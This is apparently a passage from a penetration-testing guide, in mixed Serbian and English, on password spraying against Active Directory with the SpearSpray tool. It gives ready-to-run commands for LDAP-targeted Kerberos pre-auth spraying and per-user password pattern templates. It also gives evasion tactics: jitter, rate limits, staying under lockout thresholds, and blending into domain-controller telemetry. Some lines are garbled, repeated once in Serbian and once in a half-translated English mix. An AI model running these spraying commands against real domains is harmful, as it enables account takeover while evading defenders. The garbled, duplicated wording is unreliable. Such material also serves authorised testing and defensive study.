## **Password Spraying**
Kada pronađete nekoliko **validnih korisničkih imena**, možete isprobati najviše **uobičajene lozinke** (imajte na umu politiku lozinki okruženja) sa svakim od otkrivenih korisnika.\
Po **defaultu**, **minimalna** **dužina** **lozinke** je **7**.
Kada pronađete nekoliko **valid usernames** možete pokušati najčešće **common passwords** (imajte na umu password policy okruženja) sa svakim od otkrivenih korisnika.\
By **default** the **minimum** **password** **length** is **7**.

Imajte na umu da **možete zaključati neke naloge ako pokušate nekoliko pogrešnih lozinki** (po defaultu više od 10).
Imajte na umu da **could lockout some accounts if you try several wrong passwords** (by default more than 10).

### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-auth–based spraying smanjuje šum u poređenju sa SMB/NTLM/LDAP bind pokušajima i bolje se uklapa u AD lockout policies. SpearSpray kombinuje LDAP-driven targeting, pattern engine i policy awareness (domain policy + PSOs + badPwdCount buffer) kako bi spray-ovao precizno i bezbedno. Takođe može označiti kompromitovane principe u Neo4j za BloodHound pathing.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
- Throughput control with threads, jitter, and max requests per second.
- Optional Neo4j integration to mark owned users for BloodHound.
Basic usage and discovery:
```bash
# List available pattern variables
spearspray -l
# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Ciljanje i kontrola obrazaca:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth i sigurnosne kontrole:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound obogaćivanje:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Pregled sistema šablona (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
```
Dostupne promenljive uključuju:
- {name}, {samaccountname}
- Vremenske vrednosti iz pwdLastSet (ili whenCreated) svakog korisnika: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Pomoćni elementi za kompoziciju i org token: {separator}, {suffix}, {extra}
Operativne napomene:
- Preporučuje se da se upit šalje PDC-emulatoru pomoću -dc kako biste pročitali najautoritatnije badPwdCount i informacije vezane za politiku.
- Resetovanje badPwdCount se pokreće pri sledećem pokušaju nakon perioda posmatranja; koristite prag i tajming da ostanete bezbedni.
- Kerberos pre-auth pokušaji se pojavljuju kao 4768/4771 u DC telemetry; koristite jitter i rate-limiting da se uklopite.
> Savet: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
